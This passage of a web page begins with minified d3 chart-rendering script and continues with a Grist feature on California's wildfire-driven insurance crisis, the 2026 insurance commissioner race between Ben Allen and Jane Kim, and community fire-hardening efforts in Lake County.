0:h[c])!=null?F:et.muted,t.dark)},B=c=>(R(c).toUpperCase()===et.muted.toUpperCase()?!0:R(c).toUpperCase()===et.darkMuted.toUpperCase()),O=a.append("g").attr("transform",`translate(0,${p.top})`);a.append("text").attr("class",t.cls("slope-head")).attr("x",w).attr("y",18).attr("text-anchor","middle").text(s.label),a.append("text").attr("class",t.cls("slope-head")).attr("x",k).attr("y",18).attr("text-anchor","middle").text(u.label),O.append("line").attr("class",t.cls("slope-axis")).attr("x1",w).attr("x2",w).attr("y1",0).attr("y2",g),O.append("line").attr("class",t.cls("slope-axis")).attr("x1",k).attr("x2",k).attr("y1",0).attr("y2",g);let Y=t.id("plot");a.append("defs").append("clipPath").attr("id",Y).append("rect").attr("x",0).attr("y",-5).attr("width",t.width).attr("height",g+10);let J=O.append("g").attr("clip-path",(o.yMin!==null?!0:o.yMax!==null)?`url(#${Y})`:null),rt=[...m].sort((c,h)=>+!B(c.i)-+!B(h.i));for(let c of rt){let h=R(c.i);J.append("line").attr("class",t.cls("slope-line")).attr("x1",w).attr("x2",k).attr("y1",f(c.a)).attr("y2",f(c.b)).attr("stroke",h).attr("stroke-width",B(c.i)?2:3),J.append("circle").attr("cx",w).attr("cy",f(c.a)).attr("r",4).attr("fill",h),J.append("circle").attr("cx",k).attr("cy",f(c.b)).attr("r",4).attr("fill",h)}let H=new Set,q=c=>{let h=m.map(T=>({r:T,y:f(c==="left"?T.a:T.b)}));br(h,d,d/2,g);let F=c==="left"?w:k;for(let T of h){let D=c==="left"?T.r.a:T.r.b,Z=D>A?-1:(b)>(D)?1:0;((Z?!H.has(`${c}${Z}`):!1)?(H.add(`${c}${Z}`),O.append("path").attr("class",t.cls("off-scale")).attr("d",`M${F},${(0)>(Z)?-8:g+8}l-5,${-Z*8}h10z`).attr("fill",t.dark?et.darkSecondary:et.secondary).append("title").text((0)>(Z)?"Above the axis range":"Below the axis range")):!1);let K=G(T.r,c),j=O.append("text").attr("class",t.cls("slope-label")).attr("x",c==="left"?w-10:k+10).attr("y",T.y).attr("dy","0.32em").attr("text-anchor",c==="left"?"end":"start").style("font-size",`${l}px`).text($(K));(B(T.r.i)?!0:j.style("fill",wt(r,R(T.r.i),t.dark)));let tt=j.node(),P=K.name;for(;(tt.getComputedTextLength()>I?P.length>3:!1);)P=P.slice(0,-1),j.text($(K,`${P.trimEnd()}\u2026`))}};q("left"),q("right");let M=O.append("rect").attr("class",t.cls("overlay")).attr("x",w).attr("width",k-w).attr("height",g);t.tooltip.bind(M,c=>{let[h,F]=n.pointer(c),T=(h-w)/(k-w),D=m[0],Z=1/0;for(let tt of m){let P=f(tt.a)+(f(tt.b)-f(tt.a))*T;(__gvLt(Math.abs(P-F),Z)?([D,Z]=[tt,Math.abs(P-F)]):!1)}let K=D.b-D.a,j=it(t.cls("tip-row"),R(D.i),s.label,t.fmtValue(D.a))+it(t.cls("tip-row"),R(D.i),u.label,t.fmtValue(D.b))+it(t.cls("tip-row"),"transparent","Change",`${K>=0?"+":""}${t.fmtValue(K)}`);t.tooltip.show(`\x3cdiv class="${t.cls("tip-title")}">${ct(D.name)}\x3c/div>${j}`,h,F+p.top)})}function br(t,n,r,a){let e=[...t].sort((o,s)=>o.y-s.y);e.forEach((o,s)=>o.y=Math.max(o.y,s?e[s-1].y+n:r));for(let o=e.length-1;o>=0;o--)e[o].y=Math.min(e[o].y,(e.length-1)>(o)?e[o+1].y-n:a)}var yr=3;function bn(t){let{d3:n,spec:r,svg:a}=t,{data:e,style:o}=r,s=e.x.map(M=>t.fmtX(M)),u=s.length;if((!u?!0:!e.series.length))return t.height;let i=t.margin,m=t.mobile?30:32,p=t.mobile?13:14,l=t.width*(t.mobile?.38:.3),d=Math.min(l,lt(t,s,p));i.left=d+14,i.right=Math.max(i.right,16),i.bottom=30,i.top=Math.max(i.top,6);let g=Math.max(60,t.width-i.left-i.right),y=a.append("g").attr("transform",`translate(${i.left},${i.top})`),x=s.map(M=>y.append("text").attr("class",t.cls("cat-label")).attr("x",-12).attr("text-anchor","end").style("font-size",`${p}px`).text(M)),f=gt(x.map(M=>M.node()),d,yr),b=Math.max(m,Math.ceil(Math.max(1,...f)*p*1.15+10)),A=u*b,G=e.series.flatMap(M=>M.values).filter(M=>M!==null),[$,V]=vt(G,o.yFromZero,o.yMin,o.yMax),N=t.mobile?4:5,I=n.scaleLinear().domain([$,V]).nice(N).range([0,g]);t.setAxis(I.domain(),N);let[S,C]=I.domain(),w=M=>(M>=S?(C)>=(M):!1),k=M=>M*b+b/2,R=M=>e.series.map(c=>c.values[M]).filter(c=>c!==null),B=s.map((M,c)=>o.valueLabels?xr(R(c),w):[]);(o.valueLabels?vr(t,I,g,B):!1);let O=wr(t,I,N),Y=M=>lt(t,[t.fmtValue(M)],12),J=B.map(M=>kr(I,g,M,Y)),rt=t.id("plot");a.append("defs").append("clipPath").attr("id",rt).append("rect").attr("x",I(S)-8).attr("y",0).attr("width",I(C)-I(S)+16).attr("height",A),y.append("g").attr("class",t.cls("grid")).selectAll("line").data(O).join("line").attr("x1",M=>Math.round(I(M))+.5).attr("x2",M=>Math.round(I(M))+.5).attr("y1",0).attr("y2",A),y.append("g").attr("class",t.cls("ticks")).selectAll("text").data(O).join("text").attr("x",M=>I(M)).attr("y",A+20).attr("text-anchor","middle").text(M=>t.fmtAxis(M)),(((0)>($)?V>0:!1)?y.append("line").attr("class",t.cls("zero")).attr("x1",I(0)).attr("x2",I(0)).attr("y1",0).attr("y2",A):!1);let H=y.append("g").attr("clip-path",`url(#${rt})`);s.forEach((M,c)=>{x[c].attr("y",k(c)).attr("dy",`${.32-(f[c]-1)*.575}em`);let h=R(c),F=Math.min(...h),T=Math.max(...h);(((h.length>1?T>=S:!1)?(C)>=(F):!1)?H.append("line").attr("class",t.cls("dumbbell")).attr("x1",I(Math.max(S,F))).attr("x2",I(Math.min(C,T))).attr("y1",k(c)).attr("y2",k(c)):!1),Mr(t,y,I,k(c),h),e.series.forEach((D,Z)=>{let K=D.values[c];(K!==null?H.append("circle").attr("class",t.cls("dot")).attr("cx",I(K)).attr("cy",k(c)).attr("r",t.mobile?6:7).attr("fill",ot(r,Z,t.dark)):!1)});for(let D of J[c])y.append("text").attr("class",t.cls("value-label")).attr("x",I(D.v)+D.dx).attr("y",k(c)).attr("dy","0.32em").attr("text-anchor",D.anchor).text(t.fmtValue(D.v))});let q=y.append("g").selectAll("rect").data(s.map((M,c)=>c)).join("rect").attr("class",t.cls("overlay")).attr("x",-i.left).attr("width",t.width).attr("y",M=>M*b).attr("height",b);return t.tooltip.bind(q,(M,c)=>{let h=e.series.map((D,Z)=>D.values[c]===null?"":it(t.cls("tip-row"),ot(r,Z,t.dark),D.label,t.fmtValue(D.values[c]))).join(""),[F,T]=n.pointer(M,t.chartEl);t.tooltip.show(`\x3cdiv class="${t.cls("tip-title")}">${ct(s[c])}\x3c/div>${h}`,F,T)}),A+i.top+i.bottom}function xr(t,n){if(!t.length)return[];let r=Math.min(...t),a=Math.max(...t),e=[];return (((a)>(r)?n(r):!1)?e.push({v:r,anchor:"end",dx:-11}):!1),(n(a)?e.push({v:a,anchor:"start",dx:11}):!1),e}function wr(t,n,r){for(let a=r;a>=1;a--){t.setAxis(n.domain(),a);let e=n.ticks(a),o=e.map(u=>lt(t,[t.fmtAxis(u)],12));if((e.every((u,i)=>(i===0?!0:n(u)-n(e[i-1])>=(o[i]+o[i-1])/2+8))?!0:a===1))return e}return[]}function kr(t,n,r,a){let e=l=>{let d=l.anchor==="start"?t(l.v)+l.dx:t(l.v)+l.dx-a(l.v);return[d,d+a(l.v)]},o=l=>(e(l)[0]>=1?__gvLe(e(l)[1],n-1):!1),s=l=>({v:l.v,anchor:l.anchor==="end"?"start":"end",dx:-l.dx}),u=Math.min(...r.map(l=>l.v)),i=Math.max(...r.map(l=>l.v)),m=l=>((2)>(r.length)?!0:(e(l)[0]>=t(u)+7?__gvLe(e(l)[1],t(i)-7):!1)),p=[];for(let l of r){let d=o(l)?l:s(l);(((!o(d)?!0:(d!==l?!m(d):!1))?!0:p.some(g=>(__gvLt(e(g)[0],e(d)[1]+6)?__gvLt(e(d)[0],e(g)[1]+6):!1)))?!0:p.push(d))}return p}function Mr(t,n,r,a,e){let[o,s]=r.domain(),u=e.filter(l=>(o)>(l)),i=e.filter(l=>l>s),m=t.dark?et.darkSecondary:et.secondary,p=(l,d,g)=>{let y=`M${l},${a}l${-d*6},-5v10z`;n.append("path").attr("class",t.cls("off-scale")).attr("d",y).attr("fill",m).append("title").text(`${g} ${g===1?"value is":"values are"} ${(0)>(d)?"below":"above"} the axis range`)};(u.length?p(r(o)-2,-1,u.length):!1),(i.length?p(r(s)+2,1,i.length):!1)}function vr(t,n,r,a){let e=new Map,o=i=>((e.has(i)?!0:e.set(i,lt(t,[t.fmtValue(i)],12))),e.get(i)),s=0,u=0;for(let i=0;(4)>(i);i++){let m=0,p=0;for(let l of a.flat()){let d=n(l.v)+l.dx;l.anchor==="end"?m=Math.max(m,o(l.v)-d+2):p=Math.max(p,d+o(l.v)-r+2)}if(((.5)>=(m)?(.5)>=(p):!1))return;s=Math.min(r*.3,s+Math.max(0,m)),u=Math.min(r*.3,u+Math.max(0,p)),n.range([s,r-u])}}var ye={paletteId:"",political:!1,background:"white",yFormat:{prefix:"",suffix:"",decimals:null},xFormat:{prefix:"",suffix:"",decimals:null},yFromZero:!0,yMin:null,yMax:null,valueLabels:!1,endDots:!0,imageFill:null,width:"column",height:400,yLabel:"",xLabel:"",highlight:null,legend:"top",xFromZero:!1,xMin:null,xMax:null,rightAxis:[],rightFormat:{prefix:"",suffix:"",decimals:null},rightLabel:"",rightFromZero:!0,donutHole:!0,partners:[],map:{method:"rounded",classes:5,breaks:[],palette:"seq-orange",reverse:!1,midpoint:null,continuous:!1,labels:!0,symbolMax:18,noDataLabel:"No data",thresholds:[],stops:[],colors:[],domain:null,categories:[],sizeTicks:[],projection:"equal-earth",sphere:!1,graticule:!1,center:[-30,20]}};var xn=600;function yn(t){var n;return{...t,style:{...ye,...t.style,map:{...ye.map,...(n=t.style)==null?void 0:n.map}}}}function wn(t,n){var e;if(!n.size)return xe(t);let r=t.type==="combo"?t.data.series.flatMap((o,s)=>n.has(o.key)?s===0?[{...o,values:o.values.map(()=>null)}]:[]:[o]):t.data.series.filter(o=>!n.has(o.key)),a=(e=t.data.points)==null?void 0:e.filter(o=>{var s,u;return!n.has((u=o.group)!=null?u:(s=t.data.series[0])==null?void 0:s.key)});return xe({...t,data:{...t.data,series:r,points:a}})}function xe(t){if((t.type!=="line"?t.type!=="combo":!1))return t;let n=t.data.series.filter(s=>s.values.some(u=>u!==null));if((!n.length?!0:!n.every(s=>s.axis==="right")))return t;let r=t.data.series.map(s=>({...s,axis:"left"})),a=t.style,e=__gvOr(a.rightLabel,()=>(($r(a.yFormat,a.rightFormat)?a.yLabel:""))),o={...a,yFormat:a.rightFormat,yFromZero:a.rightFromZero,yMin:null,yMax:null,yLabel:e,rightLabel:""};return{...t,style:o,data:{...t.data,series:r}}}function Cr(t){if((t.type!=="line"?t.type!=="combo":!1))return!1;let n=(r,a)=>(r.axis==="right"?((t.type==="line"?!0:a>0)):!1);return __gvAnd(t.data.series.some(n),()=>(t.data.series.some((r,a)=>!n(r,a))))}function $r(t,n){var r,a;return __gvAnd(__gvAnd((t.prefix===n.prefix?t.suffix===n.suffix:!1),()=>(t.decimals===n.decimals)),()=>(((r=t.multiply)!=null?r:1)===((a=n.multiply)!=null?a:1)))}function Tr(t,n,r,a=null){var N,I,S,C;let e=yn(n),o=a?Se(a):null,s=new Set,u=`gv-${e.slug}`,i=w=>`${u}__${w}`,m=t.querySelector(`.${i("chart")}`),p=t.querySelector(`.${i("legend")}`),l=ze(m,i("tooltip")),d=-1,g,y=0;(p==null?!0:p.addEventListener("click",w=>{let k=w.target.closest("[data-key]"),R=k==null?void 0:k.dataset.key;(R!==void 0?(s.has(R)?s.delete(R):((e.data.series.length-1)>(s.size)?s.add(R):!1),x()):!1)}));let x=()=>{var K,j,tt,P,_;y=0;let w=Math.floor(m.clientWidth);if((0)>=(w))return;let k=e.style.background==="white"?ie(t):{color:null,dark:!1},R=k.dark;t.classList.toggle(`${u}--dark`,R),k.color?t.style.setProperty("--gv-halo",k.color):t.style.removeProperty("--gv-halo"),d=w,g=k.color;let B=(xn)>(t.clientWidth);((p?p.parentElement===m:!1)?(m.before(p),p.classList.remove(i("legend--inset")),p.removeAttribute("data-corner")):!1),((K=m.querySelector(":scope > svg"))==null?!0:K.remove());let O=m.ownerDocument.createElementNS("http://www.w3.org/2000/svg","svg");m.insertBefore(O,m.firstChild);let Y=r.select(O).attr("class",i("svg")).attr("width",w).attr("aria-hidden","true"),J=Me(e.type),rt=J?400:B?Math.min(e.style.height,360):e.style.height;Y.attr("height",rt);let H=wn(e,s),q=H.style.yFormat,M=H.style.rightFormat,c=Gt(r,q.prefix,q.suffix,q.decimals,q.multiply),h=Gt(r,M.prefix,M.suffix,M.decimals,M.multiply),F=v=>c.value(v),T={d3:r,spec:H,base:u,root:t,chartEl:m,svg:Y,width:w,height:rt,mobile:B,dark:R,page:k.color,margin:{top:(((H.style.yLabel?!0:H.style.rightLabel))?!["bar","donut","dot","slope"].includes(e.type):!1)?30:10,right:14,bottom:30,left:40},id:v=>`${u}-${v}`,cls:i,fmtAxis:v=>F(v),setAxis:(v,U)=>{F=yt(r,q,v,U)},fmtValue:c.value,fmtRightValue:h.value,rightAxis:(v,U)=>yt(r,M,v,U),fmtFor:v=>v.axis==="right"?h.value:c.value,fmtX:Ve(r,e,B),xAxis:(v,U)=>yt(r,e.style.xFormat,v,U),color:v=>ot(H,v,R),tooltip:l,rightTitleY:14},D=(J?o:!1)?Ze(o,e):o;J?(D?Je(T,p,e,D):!1):tn(T,p,e,s);let Z=__gvAnd(__gvAnd(__gvAnd((!J?e.type!=="bar":!1),()=>(e.type!=="donut")),()=>(e.type!=="dot")),()=>(e.type!=="slope"));if((((Z?H.style.yLabel:!1)?H.style.rightLabel:!1)?Cr(H):!1)){let[v,U]=[H.style.yLabel,H.style.rightLabel].map(ut=>lt(T,[ut],12));(v+U+16>w?(T.rightTitleY=30,T.margin.top+=16):!1)}((H.style.yLabel?Z:!1)?Y.append("text").attr("class",i("axis-title")).attr("x",0).attr("y",14).text(H.style.yLabel):!1);try{let v=e.type;if(J){if((!o?!0:o.id!==((j=e.data.map)==null?void 0:j.geo)))throw new Error("map geography missing");Y.attr("height",Ue(T,D)),Qe(p,m,e,w,i)}else (v==="line"?!0:v==="area")?nn(T):((v==="column"?!0:v==="stacked")?!0:v==="combo")?mn(T):v==="bar"?Y.attr("height",(tt=pn(T))!=null?tt:rt):v==="scatter"?hn(T):v==="donut"?Y.attr("height",(P=fn(T))!=null?P:rt):v==="slope"?gn(T):(v==="dot"?Y.attr("height",(_=bn(T))!=null?_:rt):!1)}catch(v){Y.selectAll("*").remove(),Y.append("text").attr("class",i("ticks")).attr("x",0).attr("y",20).text("Chart could not be drawn."),console.error("[gristviz]",v)}},f=()=>{(y?!0:(y=requestAnimationFrame(x)))},b=new ResizeObserver(()=>{(Math.floor(m.clientWidth)!==d?f():!1)});b.observe(m);let A=()=>{((e.style.background==="white"?ie(t).color!==g:!1)?f():!1)},G=new MutationObserver(A),$=t.ownerDocument;G.observe($.documentElement,{attributes:!0,attributeFilter:["class","style","data-theme"]}),($.body?G.observe($.body,{attributes:!0,attributeFilter:["class","style","data-theme"]}):!1);let V=(I=(N=$.defaultView)==null?void 0:N.matchMedia)==null?void 0:I.call(N,"(prefers-color-scheme: dark)");return((S=V==null?void 0:V.addEventListener)==null?!0:S.call(V,"change",A)),x(),((C=$.fonts)==null?!0:C.ready.then(()=>f())),{update(w){e=yn(w);for(let k of[...s])(e.data.series.some(R=>R.key===k)?!0:s.delete(k));x()},destroy(){var w;b.disconnect(),G.disconnect(),l.destroy(),((w=V==null?void 0:V.removeEventListener)==null?!0:w.call(V,"change",A)),(y?cancelAnimationFrame(y):!1)}}}return Sn(Sr);})(); function run(d3){var el=document.getElementById(ID);if(el)__gvRuntime.mount(el,SPEC,d3,GEO);} function fail(){var el=document.getElementById(ID);var c=el?el.querySelector("."+ID+"__chart"):null;if(c)c.textContent="This chart could not load. Try refreshing the page.";} function loadD3(){return new Promise(function(res,rej){ var s=document.createElement("script"),page=window.d3,mine,trap=false; try{Object.defineProperty(window,"d3",{configurable:true,enumerable:true, get:function(){return document.currentScript===s?mine:page;}, set:function(v){if(document.currentScript===s)mine=v;else page=v;}});trap=true;} catch(e){window.d3=undefined;} function settle(){if(trap){delete window.d3;if(page!==undefined)window.d3=page;}else{mine=window.d3;window.d3=page;}} s.src="https://cdnjs.cloudflare.com/ajax/libs/d3/7.8.5/d3.min.js";s.integrity="sha384-su5kReKyYlIFrI62mbQRKXHzFobMa7BHp1cK6julLPbnYcCW9NIZKJiTODjLPeDh";s.crossOrigin="anonymous";s.async=true; s.onload=function(){settle();if(mine?mine.stack:!1)res(Object.assign({},mine));else rej(new Error("d3 did not load"));}; s.onerror=function(e){settle();rej(e);}; document.head.appendChild(s);});} function go(){ if(window.d3?window.d3.stack?/^7\./.test(window.d3.version?window.d3.version:""):!1:!1){run(window.d3);return;} if(!window.__gvD3)window.__gvD3=loadD3(); window.__gvD3.then(run,fail); } if(document.readyState==="loading")document.addEventListener("DOMContentLoaded",go);else go(); })();

    In theory, California voters have some influence over their haywire insurance market. Every state has an insurance commissioner, but California is one of around a dozen states where that is an elected position. The fact that it’s elected at all is a testament to the strength of the state’s pro-consumer slant — in 1988, voters who were incensed about high car insurance prices passed a measure that turned it from an appointed position into an elected one. 

    In practice, this is a job no one should want. The commissioner has the power to approve or deny rate increases, and to police the industry’s compliance with state law. They also oversee the FAIR Plan, the state-backed insurer, which offers limited and expensive coverage to people like McIntyre who can’t get it on the private market. But the commissioner can’t do much else to make private insurers offer coverage or to reduce overall fire risk in wildland areas.

    Read Next Is your state becoming uninsurable? We have the latest data. , , , , , , &

    “The insurance commissioner has a lot of power and authority himself or herself that they should use, but the insurance commissioner alone cannot address these challenges,” said Dave Jones, who served as commissioner between 2011 and 2019.

    The outgoing commissioner, Ricardo Lara, has been in office for almost the entirety of the state’s fire-induced market collapse. Lara vacillated between cozying up with the insurers or clamping down on them and running the risk that they might flee the state. First he pledged to reject all insurance industry campaign money, then accepted some of that money, then appeared to cover for it by stalling on rate increases, which led insurers like State Farm to drop more policies. 

    Lara’s attempt at resolving the crisis was to strike a deal with the companies. He allowed them to pass on the cost of their reinsurance (or insurance for insurance companies) to customers, and he also allowed them to use forward-looking catastrophe models to predict future risk, something every other state had already allowed. That would translate to higher rates, and in return the insurers had to commit to writing more policies in the risky fire areas they wanted to abandon. But the deal turned out to be full of loopholes — insurers can meet their mandate without returning to the riskiest areas, and the state FAIR Plan has kept absorbing more market share after the Los Angeles fires in 2025. Lara said in an interview with The New York Times earlier this year that the industry had “bullied” him. (His office declined interview requests, and representatives for the FAIR Plan did not respond to requests for comment.)

    California’s incumbent insurance commissioner Ricardo Lara, right, talks with homeowner Bruce Breslau following a 2024 public hearing in Los Angeles. Lara has faced criticism for failing to prevent private insurance companies from pulling out of risky areas.
    Robert Gauthier / Los Angeles Times via Getty Images

    Despite the entrenched nature of the state’s insurance problems, a dozen candidates piled into the election to replace Lara. This led to a crowded primary between four Democrats, five Republicans, and two independents; none of the candidates had the funding to run a full statewide campaign, and there was limited public polling. The results were surprising even to the candidates. The top two candidates who advanced to the November runoff were Democrats. In first place with around 27 percent was Kim, a former San Francisco supervisor and Bernie Sanders ally who had pitched a government-run single-payer program for disaster insurance. In second place was Allen, the state senator who represents the Palisades and is one of the legislature’s foremost experts on insurance. 

    Allen and Kim agree on a lot. They both believe in simplifying typical insurance policies and forcing companies to be transparent about their spending and investment in fossil fuels. They both believe in beefing up the FAIR Plan so it would cover smoke and other damages, which would have saved McIntyre from months of confusion and delay. They have both vowed to crack down on insurers who delay and nitpick claim payments after disasters. And they have both rejected campaign contributions from the insurance industry.

    Where they differ is on the question of how to get people off the FAIR Plan and stabilize the market — in other words, on the fundamental question of the state’s insurance system. Allen believes that if the state allows insurers to raise rates on risky homes, invests to harden homes in vulnerable areas, and takes a data-driven approach to measuring wildfire risk, it can entice insurers back and restore a healthy market. Kim would prefer to discard the market altogether. She proposes creating a state-run public insurance program for all homes and all disasters, replacing private companies and the FAIR Plan. Rather than doling out profits to investors, this program would spend its excess revenue to harden old homes against wildfire. Private insurance companies could still write coverage for burglary and other perils, but the state government would collect all wildfire insurance and pay out all claims, a model based on similar programs in New Zealand and France. 

    The philosophical debate in the election is much deeper than a question of state policies or affordability — it’s about whether the private market can protect us against climate change at all.

    A sign in front of a State Farm insurance office in Pinole, California. State Farm is one of several insurance companies that dropped policies in risky areas following California’s spate of large wildfires. Justin Sullivan / Getty Images

    Allen believes it can. He decided to run for commissioner after the Palisades Fire scorched a good portion of his district, plunging many of his close friends and acquaintances into a hell of displacement and insurance litigation. (Indeed, many of the Palisades homeowners I met knew him on a first-name basis, including McIntyre, who is supporting him in the election.) Even before that, he had already spent several years leading state legislative committees on insurance, energy, and wildfire risk, making him arguably the most qualified person in the state for the commissioner job.

    “I think we need someone in this office who really understands climate science, who understands the markets, who understands the legislature,” he said. The Palisades Fire, he said, gave him a “level of understanding from going through the experience that is just different” — he heard about friends trying to itemize vaporized dining room furniture and saw phosphate pollution harming marine mammals in the water off his home in Santa Monica.

    Rather than use the insurance commissioner post to push for a major statutory change like Kim’s public fund, Allen speaks about the commissioner as having a poder de convocatoria, a Spanish phrase that translates to “convening power.” He wants to bring together the state agencies and the insurance industry to have a real conversation about reducing fire risk and cajole the state’s market back into existence. He has just passed a bill that offers low-interest loans to homeowners who want to fire-harden their homes. He wants to pursue a sort of grand bargain with the industry, speeding up rate increase decisions while also disciplining the insurers who delay and deny claims.

    State Senator Ben Allen hosts a discussion with local leaders and residents to mark 100 days since the Palisades Fire. Carlin Stiehl / Los Angeles Times via Getty Images

    Kim’s audacious proposal may be gaining more traction than Allen’s proposed compromise. She outperformed Allen in the primary in almost every county, including in his home county of Los Angeles, and given her progressive background, she did fairly well in the rural and red parts of the state. She admits her strong performance is partially “a mystery to me,” but attributes it to the fact that many voters are fed up with the insurance industry.

    “There’s this sense of immense unfairness, and once we articulate the problem, and then on top of that, actually propose big policy ideas, I think that that resonates,” she told me. We were speaking at a home in San Francisco’s Presidio Heights, where Kim was attending a fundraiser for the radical climate activism group Climate Defiance. 

    Some experts are skeptical of a government takeover in the style Kim is proposing. Jones, the former insurance commissioner, said the program has two key flaws. First, Kim’s promise to keep insurance affordable could mean keeping prices too low on mansions in fire-prone areas, where homeowners may currently pay premiums that are inadequate to their risk. Second, insurers in California are required to have tens of billions of dollars in extra cash to pay during big loss events, and Kim’s new fund would have to find that money in a state whose public budget is already strained.

    “Not only does she not come clean as to where the money’s going to come from, if her thought is that it’s going to come from the general fund of the state of California, good luck,” said Jones. He pointed out that the model Kim cites in New Zealand is far smaller than California’s, has low coverage limits, and doesn’t cover fires. (Allen described the proposal as “red meat, sugar rush stuff,” and said taxpayers would end up footing the bill if the public plan lost money.)

    Kim allows that the legislature might not jump for her public insurance fund, but she has a compromise in her back pocket — one not dissimilar from Allen’s own agenda. Instead of creating a single-payer insurance program that would use profits to fund fire resilience, the commissioner could turn the FAIR Plan into such a program. The plan already pools money from all the state’s big insurers, and Kim could force them to pay an extra fee that would fund hardening for FAIR Plan homes. She returned to this theme when she delivered a stump speech to the activists in the Presidio Heights living room, saying that private companies would never act on their own to reduce the state’s fire risk.

    California insurance commissioner candidate Jane Kim speaks to reporters during a rally in San Francisco. Kim is pitching a single-payer disaster insurance model that would replace the private market for wildfire coverage.
    Stephen Lam / San Francisco Chronicle via Getty Images

    “What the insurance industry does is that they price risk, but they don’t actually address it,” she said. If that’s the case, she argues, then the industry shouldn’t be the one charged with keeping Californians safe from climate disasters.

    For all their other points of alignment, this question represents the major philosophical disagreement between Allen and Kim. Allen agrees that the industry has not yet acted to reduce California’s enormous fire risk, but he believes that it can fill that role — and he can be the one to make that happen.

    “The insurance commissioner is uniquely positioned to bring the insurance to the table … and actually say to the insurance industry, ‘OK, guys, you’ve got to be a part of the solution here,’” Allen said.

    The problem for both Kim and Allen is that reducing risk is very difficult.

    Take the case of Tony Byers. He is a retired electric utility worker and a longtime resident of Placerville, an old mining town high in the forest-covered hills east of Sacramento. He bought insurance from AAA for years, but the company dropped him after a 2022 fire burned a nearby stretch of the Sierras. State Farm gave him a quote, but then rejected him because it claimed he didn’t have a fire hydrant near his house, even though he did. Byers ended up going with Lemonade, the online insurer, and even paid to have some flammable trees removed at the company’s request, but last year they told him they were leaving California. He ended up on the FAIR Plan, and he now pays $3,400 a year for fire insurance alone, triple what he used to pay. Byers lives at the end of a narrow mountain road, and if he wants to get back on a private insurance plan, he’d likely have to spend tens of thousands of dollars to retrofit his property, which is a lot more than he can afford on a retiree’s budget.

    The only people who can opt out of this gauntlet of risk reduction are those who can pay for elite coverage. That was the case for Kevin Roberts, a retired golf course owner who lives in Huntington Palisades, a wealthy neighborhood on the edge of the Palisades Fire burn scar. Roberts likely couldn’t get fire coverage for his two-story Spanish colonial from bigger insurers like State Farm, but years ago a former fraternity brother told him about a company called Chubb that offered boutique insurance at high prices. The company now charges him more than $30,000 a year for his coverage on a “surplus lines” policy that isn’t subject to state regulations. It’s an eye-watering payment, but the company came through with a $2.65 million payout for smoke damage after the fire. Many of the state’s wealthiest homeowners are already on this unregulated market: the number of surplus lines policies in California has doubled over the last four years to around 1.3 million.

    “You’ll pay more, but if you need them, they’ll deliver,” said Roberts.

    A row of fortified homes in the Alphabet Streets, just down the block from McIntyre’s home. Many homeowners in Pacific Palisades are rebuilding with new fire-resilient materials and hoping to secure insurance discounts for doing so. Jake Bittle / Grist

    Neither Byers nor Roberts expressed strong feelings about the insurance commissioner’s election, and indeed, both candidates will face tremendous barriers before they can address the issues that someone like Byers faces in Placerville. That’s because scaling California’s efforts to reduce more than a century of fire risk is one of the most daunting adaptation efforts faced by any place in the United States. The challenge is not just in finding the money to help homeowners who can’t do it themselves, but in figuring out how to reduce risk for millions of old and ill-built homes.

    The day after Kim’s fundraiser, I met two employees from North Coast Opportunities, a poverty-fighting organization that serves Lake County, north of San Francisco. The organization is the first to receive money from a $117 million state grant program designed to retrofit whole communities against wildfire. The organization chose to focus on a tight-packed community called Kelseyville, where hundreds of homes cluster on small lots against the side of a windy mountain ridge. As the employees from North Coast drove me through the area, it became clear just how hard it will be to achieve the scaled-up resilience that both Allen and Kim want.

    Lake County has an urgent need for this. The mountainous area is among the state’s most vulnerable to wildfire — some 85 percent of its land area has burned since the turn of the century — and it is also one of its poorest counties. Insurers have abandoned the area en masse, forcing many people onto the FAIR Plan, or causing older homeowners to go without insurance altogether. 

    The state program is the exact kind of intervention that insurers have long said will induce them to offer more coverage and stop raising rates. The nonprofit can give each participating home in Kelseyville about $70,000 to fund easy tweaks that will stop ignitions — such as removing trees from around homes, replacing vinyl siding with fiber cement, and deconstructing flammable wooden decks. The mitigated houses don’t look much different from the old ones, except for the emptier yards and fresh paint, but even these tiny fireproofing changes required painstaking work. North Coast has had to ask contractors to redo flawed retrofits and cajole local hardware stores into selling fireproof equipment. Many homeowners aren’t interested in participating at all.

    “What creates an insurable community is for the whole community to have buy-in,” said Deanna Fernweh, the program manager. “It’s changing the mentality, because they’re like, ‘Well, we’ve always done it this way.’” She said she’s cautiously optimistic that companies will come back — insurers have been reaching out to learn more about her work, but they’ve also pushed for full neighborhoods to meet the strictest fire standards.

    A pair of mitigated homes in Lake County, one of the first counties in California to participate in a state fire hardening grant program. The county paid to clear vegetation from around the base of the homes, which will reduce the potential for fire ignition. Jake Bittle / Grist

    The project underscores the scale of the challenge the next commissioner will face in reducing fire risk. The project only touches around 300 of the 1,200 eligible homes in the neighborhood, and the grant typically isn’t even enough to do full mitigation on each home. The funding came from the federal government after years of delay. The best possible result is to bring insurers back to just a few streets, a fraction of the risk in Lake County alone. For millions of homeowners who don’t have access to grant funding, resilience is still out of reach.

    “A home is only as strong as the weakest link,” said Steve Hawks, a longtime California fire official who is now the director of wildfire at the Insurance Institute for Business & Home Safety, which develops standards for fire hardening. “If you leave a weak link on the table, a fire of [significant] magnitude can exploit any vulnerability.”

    Hawks describes the challenge as “daunting,” and that may be an understatement. Retrofitting a home for fire can cost several times as much as building a new fire-resilient home, and the bill for hardening the millions of homes in California’s fire zones would run to the double-digit billions at least. This money has to come from somewhere, and Allen and Kim both acknowledged that their biggest challenge is to find out where. 

    This is the irony of the fact that both candidates are appealing to voters by talking about “affordability.” No matter which path one takes through the maze, one arrives at the same conclusion — to fix this crisis will take money, and much of that money will come from the people of California. As Allen says, “risk doesn’t disappear, it gets allocated.” The “affordability” challenge in this case is not to help voters keep up with inflation but to pay down a massive debt of risky development that has been accumulating for decades. The challenge is to remake a society that was not designed to be remade.

    “I think we’re still at the beginning,” said Holly Sacks, the director of underwriting for Mercury, a California-based insurance company that has committed to remain in the state and to help incentivize risk mitigation. The company is selling in burned places like Paradise and Altadena, but only for hardened homes, and Sacks says it’s one of the only companies doing so. “We are out there, and we don’t hear about a lot of other carriers getting out there,” she said. “I think there’s still a ways to go … to really make the market more stable.”

    The scale of this work is enormous, but the stakes are even larger. When we purchase insurance, we purchase not only the privilege of owning a home or driving a car, but also the privilege of belonging to a community in which all support all. Insurance, as Kim likes to say, is a prerequisite for participating in the economy. A healthy insurance market is also an indication that society can still hold together, that there is no home so vulnerable to the ravages of global warming that the rest of the community can’t afford to protect it.

    Of all the things that climate change may take from us, this guarantee might be the most dear.

